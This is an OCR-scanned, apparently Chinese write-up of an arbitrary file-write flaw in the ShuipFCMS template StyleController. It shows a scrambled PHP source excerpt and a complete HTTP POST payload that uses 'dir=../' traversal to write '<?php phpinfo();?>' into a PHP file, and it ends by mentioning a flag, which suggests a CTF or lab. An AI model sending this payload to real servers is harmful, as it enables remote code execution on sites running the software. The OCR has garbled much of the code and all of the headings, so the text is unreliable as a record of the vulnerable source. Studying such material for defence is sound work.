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1. HiHRIAE shuipf/Application/Template/Controller/StyleController. class. php

(¥) add pf B a] LS SCH:

$file - pa o(I("post.file'));
sfile - $file['filename’] C{"TMPL_TEMPLATE_SUFFIX");

Scontent ~ \I far{I('post.content', '',

sdir - T

s($dir)) {
(NEERFEEL ");

$dir)) {
B ' . sdir

$filepath - $dir . $fil
e_exists($f

}

ripslashes(scontent)));

et ($_GET['dir']) trim($_GET['dir']) 7 s
GET['dir']))) = '*;

2. B AN—H)IEAR L payload:



POST /index.php?g=Template&m=Styleka=add&file=1.php HTTP/1.1

Host: 192.168.1.103:8034

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User—-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10 13 6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,1image/avif, image/webp,1im
age/apng,*/*;g=0.8,application/signed-exchangejv=b3;g=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en;g=0.8

Cookie: PHPSESSID=64f26nj755b7atudad45hrhvl0

Connection: close

Content-Length: 48

file=asdfa&content=<?php phpinfo();?>&dir=../

3. I — A TR S AR TR H R flag.
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